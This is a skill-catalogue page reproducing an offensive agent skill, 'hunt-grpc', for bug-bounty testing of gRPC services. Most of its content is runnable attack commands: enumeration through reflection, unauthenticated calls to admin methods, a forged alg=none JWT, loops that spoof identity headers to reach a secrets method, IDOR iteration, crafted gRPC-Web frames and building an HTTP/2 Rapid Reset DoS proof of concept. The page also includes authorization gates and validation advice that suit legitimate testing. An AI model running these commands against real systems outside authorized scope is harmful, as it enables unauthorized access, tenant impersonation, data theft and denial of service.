Agent skill

Hunt Grpc

by sickn33 in sickn33/agentic-awesome-skills

“Hunt gRPC vulnerabilities”

— description from SKILL.md by sickn33
MITAuto-check passedBackend & APIs

Install Hunt Grpc

skills CLI
$ npx skills add sickn33/agentic-awesome-skills --skill hunt-grpc -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install sickn33/agentic-awesome-skills hunt-grpc --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/sickn33/agentic-awesome-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt-grpc .claude/skills/hunt-grpc && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
hunt-grpc
GitHub stars
47k
Used in
1 other repo
Token cost
~4.8k tokens
SKILL.md length
1,458 words
Files
1
Skills in repo
1,497
Repo updated
First seen
Licence
MIT

At a glance

  • Works in 7 steps: Fingerprint & Port Discovery → Service Enumeration via Reflection → Call Methods Without Authentication… → …
  • SKILL.md covers Crown Jewel Targets, Phase 1 — Fingerprint & Port…, Phase 2 — Service Enumeration… and Phase 3 — Call Methods Without…, plus 9 more sections
  • Calls curl, gh and openssl; reaches github.com and kb.cert.org

About this skill

Hunt Grpc is a skill in sickn33/agentic-awesome-skills (47k stars). Its SKILL.md is about 4.8k tokens, and copies of it appear in 1 other owners' repositories. Licence: MIT.

Requirements

  • Compatibility (from SKILL.md): Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.

Workflow steps

7 steps, taken from the step headings in SKILL.md.

  1. Fingerprint & Port Discovery
  2. Service Enumeration via Reflection
  3. Call Methods Without Authentication (authz testing)
  4. Authentication / Trust-Boundary Bypass
  5. Proto File / Schema Discovery
  6. gRPC-Web / grpc-gateway / JSON-Transcoding Attacks
  7. HTTP/2 Rapid Reset DoS (CVE-2023-44487)

What it can do on your machine

Read from SKILL.md and the folder at commit b84d35a. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • curl
    • gh
    • openssl
    • brew
    • git
    • go

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • github.com
    • kb.cert.org
    • blog.cloudflare.com

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

  • Compatibility

    Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.

    From compatibility in the SKILL.md frontmatter.

Context cost

Hunt Grpc loads about 4.8k tokens when it runs. Until then it costs about 9 tokens; SKILL.md has 1,458 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~9
When it runs · the whole SKILL.md, loaded when a task matches
~4.8k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from sickn33/agentic-awesome-skills at commit b84d35a, republished under its MIT licence (© sickn33). 1,458 words, ~4,792 tokens.

Download SKILL.mdSave it as .claude/skills/hunt-grpc/SKILL.md (or your agent's skills folder).
name
hunt-grpc
description
Hunt gRPC vulnerabilities
compatibility
Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.
category
security
risk
offensive
source
https://github.com/elementalsouls/Claude-BugHunter
source_repo
elementalsouls/Claude-BugHunter
source_type
community
date_added
2026-09-20
license
MIT
license_source
https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
sources
hackerone_public, grpc_security_research, cert_cc_advisory
report_count
6

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-GRPC — gRPC Security

Crown Jewel Targets

gRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is "internal" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.

Highest-value findings:

  • Reflection enabled in production — grpc.reflection.v1alpha.ServerReflection / grpc.reflection.v1.ServerReflection lists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation).
  • Missing auth on internal service — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.
  • Edge-auth-only / metadata-stripping — proxy authenticates the user but the backend re-trusts proxy-injected headers (x-user-id, x-tenant-id, x-forwarded-*); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.
  • Plaintext gRPC — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.
  • HTTP/2 Rapid Reset DoS (CVE-2023-44487) — interleaved HEADERS + immediate RST_STREAM frames bypass MAX_CONCURRENT_STREAMS accounting → resource exhaustion. DoS is in scope on almost no program — get explicit written authorization before sending a single burst.

Phase 1 — Fingerprint & Port Discovery

bash
# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open

# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"

# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
  -H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status

# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
  -H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"

grpc-status trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. UNIMPLEMENTED on a random path is normal and only confirms the transport — not a finding.


Phase 2 — Service Enumeration via Reflection

bash
brew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure  $TARGET:443   list

# Typical output when reflection is on:
#   grpc.reflection.v1.ServerReflection
#   grpc.health.v1.Health
#   user.UserService
#   admin.AdminService
#   payment.PaymentService

# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema

# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
  echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt

Reflection disabled? You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked .proto (Phase 5) and pass it with grpcurl -protoset bundle.bin .... Reflection-off is a hardening control, not a security boundary.


Phase 3 — Call Methods Without Authentication (authz testing)

bash
# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers

# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
  echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
    -d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done

Interpret the gRPC status code, not just whether bytes came back (see Validation):

  • OK + populated response → method executed unauthenticated → finding.
  • Unauthenticated (16) / PermissionDenied (7) → authz is enforced; NOT a finding.
  • Unimplemented (12) → wrong path / method not on this server.
  • InvalidArgument (3) → reached and parsed your input → method is callable; fix the payload and retry.

Phase 4 — Authentication / Trust-Boundary Bypass

bash
# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
  -H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
  -d '{}' admin.AdminService/GetConfig

# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
#     then trust identity injected as metadata. If the edge does not STRIP these,
#     spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
         "x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
         "x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
  echo "== $H =="
  grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done

# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
#     server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
  -d '{}' admin.AdminService/GetConfig

The metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header directly to the backend port AND, separately, through the public proxy — if the proxy forwards your x-user-id unchanged to the backend, it is exploitable for real users, not just on the bypassed port.


Phase 5 — Proto File / Schema Discovery

bash
# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
  S=$(curl -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
  [ "$S" != 404 ] && echo "Found: /$P ($S)"
done

# Source/registry leakage of .proto definitions
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null

# Rebuild a descriptor set from leaked protos and drive the API without reflection
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list

Proto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.


Phase 6 — gRPC-Web / grpc-gateway / JSON-Transcoding Attacks

gRPC almost always reaches the browser through a transcoder: Envoy grpc_web/grpc_json_transcoder, grpc-gateway (REST↔gRPC), or Connect. These translators are the realistic external attack surface and frequently re-expose internal methods.

bash
# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
#     map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
curl -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
  -H 'content-type: application/json' -d '{}'    # default unannotated route

# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
#     Encode the message with protoscope so the bytes are correct:
#       protoscope -s <<<'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2)))                 # 4-byte length prefix
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
  --data-binary @frame.bin | xxd | head

# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
  -d '{"user_id": 1}'

# (d) Connect protocol (buf): plain JSON POST, unary, no framing:
curl -s "https://$TARGET/user.UserService/GetUser" \
  -H 'content-type: application/json' -H 'connect-protocol-version: 1' \
  -d '{"user_id": 1}'

Why this matters: the browser-facing transcoder commonly forwards to the SAME backend as the internal gRPC plane. If the transcoder route exposes AdminService or fails to require the auth the gRPC client would have sent, you have a real, externally-reachable authz bug. Confirm each transcoded route returns OK with sensitive data, and verify it is reachable as an unauthenticated/low-priv user (not just from inside the mesh).


Phase 7 — HTTP/2 Rapid Reset DoS (CVE-2023-44487)

Authorization gate: DoS is out of scope on the overwhelming majority of programs. Do NOT run this without explicit, written, scoped permission and a target/window the program owner agreed to. Skip to Validation if unsure.

The attack is NOT a load test. It opens streams (HEADERS) and immediately cancels them (RST_STREAM) before the server finishes, so each cancelled stream frees a MAX_CONCURRENT_STREAMS slot instantly while the server still spends work on it — the client races far ahead of the concurrency cap. h2load/ghz are throughput benchmarkers; they have no rapid-reset mode and never interleave HEADERS+immediate-RST_STREAM, so they cannot test this.

Correct tooling — author-sanctioned PoCs that actually emit the frame pattern:

bash
# CERT/CC + community tracking and PoCs for CVE-2023-44487:
#   https://kb.cert.org/vuls/id/421644
#   https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/  (Cloudflare writeup)
# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
git clone https://github.com/secengjeff/rapidresetclient
cd rapidresetclient && go build -o rapidreset .
# Detection-only: a SHORT, low-count burst, with permission, then STOP:
./rapidreset --help    # confirm current flags first, then a SMALL authorized burst, e.g.:
# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20

# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.

Detection without DoSing — prefer this: the only thing you need to PROVE is whether mitigations are present. Check the server banner / version and whether it tracks reset floods:

bash
# Fingerprint the HTTP/2 implementation and version (patched versions are known):
curl -sI --http2 https://$TARGET/ | grep -i '^server:'
# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.

Report the version-confirmed mitigation gap rather than a benchmark slowdown. "Server got slower under load" is not proof of CVE-2023-44487 — it produces false positives on slow/under-provisioned servers and false negatives on patched ones that throttle resets gracefully.


Tools

bash
grpcurl   # primary CLI client (list/describe/call, -protoset for reflection-off)
grpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051
protoc + protoscope   # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
buf       # lint/inspect proto, drive Connect endpoints
# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
#   use them to "prove" CVE-2023-44487.

Show full SKILL.md (645 more words)Show less

Chain Table

gRPC findingChain toImpact
Reflection enabledEnumerate all internal service methods + messagesFull API catalog disclosure (enabler)
Admin method, no authCall privileged RPCs (DeleteUser, GetConfig)Data manipulation / system access — Critical
Proxy forwards x-user-id/x-tenant-id unstrippedSpoof identity metadata → cross-tenant impersonationTenant isolation bypass — Critical
IDOR via enumerable id fieldIterate user_id over GetUserMass PII exfil — High
grpc-gateway / gRPC-Web route re-exposes internal RPCHit transcoded REST/JSON path unauthExternally-reachable authz bypass — High/Critical
Plaintext h2c on internal portMITM / sniff metadata (bearer tokens)Credential capture — High
.proto leak (repo/swagger)-protoset to drive reflection-off targetUnlocks Phases 3–4 — Low alone, High as enabler

Related skills: hunt-idor (id enumeration logic), hunt-api-misconfig (JWT alg=none / mass-assignment in request messages), hunt-auth-bypass (edge-vs-backend trust boundary), hunt-tls-network (h2c/plaintext + ALPN), cloud-iam-deep (if a called RPC returns cloud creds).


Validation — false-positive discipline

gRPC's failure modes look like successes to a naive grep. Apply these gates before any submission.

  1. Status-code discrimination, not byte-counting. A non-empty response can still be an error frame. Confirm the grpc-status trailer is 0 (OK). Unauthenticated (16) / PermissionDenied (7) mean auth WORKS — close the candidate. Unimplemented (12) means you have the wrong method. Re-run with grpcurl -v and read the trailers explicitly.

  2. Reflection / health endpoints are often intentionally public. grpc.reflection.* and grpc.health.v1.Health being reachable is, by itself, info disclosure (Low/Medium at most) — many vendors ship reflection on by design. Do NOT report it as "missing auth" unless it leaks a non-public service catalog. The finding is the sensitive service you can then call without auth, proven in Phase 3.

  3. Distinguish "no auth" from "auth not required for THIS method." Some methods (health, public catalog reads) are legitimately anonymous. Prove the bug by showing an authenticated-vs-unauthenticated state delta: the same RPC returns another user's/tenant's private data without credentials, or a mutating admin RPC executes (re-read the changed state to confirm side-effect).

  4. Proxy-vs-backend reachability. A bug reachable only by hitting an internal :50051 you found via SSRF/port-scan is real but its severity depends on reachability. State explicitly how an external attacker reaches it (exposed port, SSRF egress, proxy passthrough). For metadata-spoofing, prove the PUBLIC proxy forwards the spoofed header — not just the bypassed backend port.

  5. OOB / Collaborator for anything blind. If an RPC takes a URL/host argument (webhook, import, render), it is an SSRF candidate: point it at a Burp Collaborator payload with a unique subdomain and confirm the DNS+HTTP interaction before claiming SSRF. No interaction = no SSRF. Hand off to hunt-ssrf.

  6. DoS is authorization-gated and version-verifiable. Never submit CVE-2023-44487 off a benchmark "slowdown." Either (a) version-match an unpatched HTTP/2 stack from the server: banner, or (b) demonstrate the reset-flood ONLY under explicit written authorization with an agreed window — then stop immediately. A slow response is not proof.

Severity guide (after the gates above pass):

  • Sensitive/admin RPC callable with no auth, side-effect proven → Critical
  • Proxy-forwarded metadata spoofing → cross-tenant impersonation → Critical
  • IDOR / mass PII via enumerable RPC → High
  • Internal service externally reachable (transcoder or open port) → High
  • Plaintext h2c leaking bearer metadata → High
  • Reflection enabled exposing non-public catalog → Medium (enabler)
  • Proto/descriptor leak, no callable sensitive method → Low

When to Use

  • You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
  • You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

  • Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
  • Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
  • Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.
Example
bash
# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

© sickn33, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/hunt-grpc of sickn33/agentic-awesome-skills.

Open the folder on GitHubat commit b84d35a

Used in 1 other repository

We found 5 copies of this SKILL.md (exact, near-identical or edited) in other folders, from 1 other GitHub owner. This page covers the copy in sickn33/agentic-awesome-skills, which our catalogue first saw on October 7, 2026.

Compare with similar skills

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    sickn33/agentic-awesome-skills

    Integracao com WhatsApp Business Cloud API (Meta). An agent skill from sickn33/agentic-awesome-skills.

    47k GitHub starsUsed in 2 repos~4.5k tokens
    Auto-check passed
  • Cline Pilot

    sickn33/agentic-awesome-skills

    Acts as a proxy for the Cline CLI, dispatching coding tasks one at a time, monitoring runs by hard evidence, relaying decisions to you and learning per-project preferences.

    47k GitHub starsUsed in 1 repo~4.6k tokens
    Auto-check passed

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Questions about Hunt Grpc

How do I install Hunt Grpc in Claude Code?

Run `npx skills add sickn33/agentic-awesome-skills --skill hunt-grpc -a claude-code`. Or copy the skill folder (skills/hunt-grpc in sickn33/agentic-awesome-skills) into .claude/skills/hunt-grpc in your project. Claude Code loads it when a task matches its description.

How do I install Hunt Grpc in Codex?

Run `npx skills add sickn33/agentic-awesome-skills --skill hunt-grpc -a codex`. Or copy the skill folder (skills/hunt-grpc in sickn33/agentic-awesome-skills) into .agents/skills/hunt-grpc in your project. Codex loads it when a task matches its description.

Can I use Hunt Grpc in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add sickn33/agentic-awesome-skills --skill hunt-grpc -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-grpc, .gemini/skills/hunt-grpc, .github/skills/hunt-grpc and .opencode/skills/hunt-grpc in your project.

What does Hunt Grpc need to run?

Going by SKILL.md and its folder, Hunt Grpc needs the command-line tools its instructions call (curl, gh, openssl, brew, git and go). Compatibility (from SKILL.md): Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled..

Does Hunt Grpc access the network?

SKILL.md names 3 domains. In commands or code: github.com, kb.cert.org and blog.cloudflare.com; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.

Is Hunt Grpc safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Hunt Grpc use?

Hunt Grpc is published under the MIT licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Hunt Grpc use?

About 4.8k tokens (SKILL.md is roughly 19k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Hunt Grpc?

Skills that share tags, products or a category with Hunt Grpc: Use Yaak (mountain-loop/yaak, 19k stars), Golang Pro (antoniopaya22/go-rest-template, 172 stars), Debug Grpc Connection (GetBindu/Bindu, 10k stars) and Aspnet Core (fanslead/ReverseProxy.Store, 161 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Hunt Grpc?

sickn33 (a GitHub user) maintains it in sickn33/agentic-awesome-skills, which has 47,405 GitHub stars. The repository holds 1,497 skills in this directory. The repository was last updated on October 9, 2026.

Source: sickn33/agentic-awesome-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.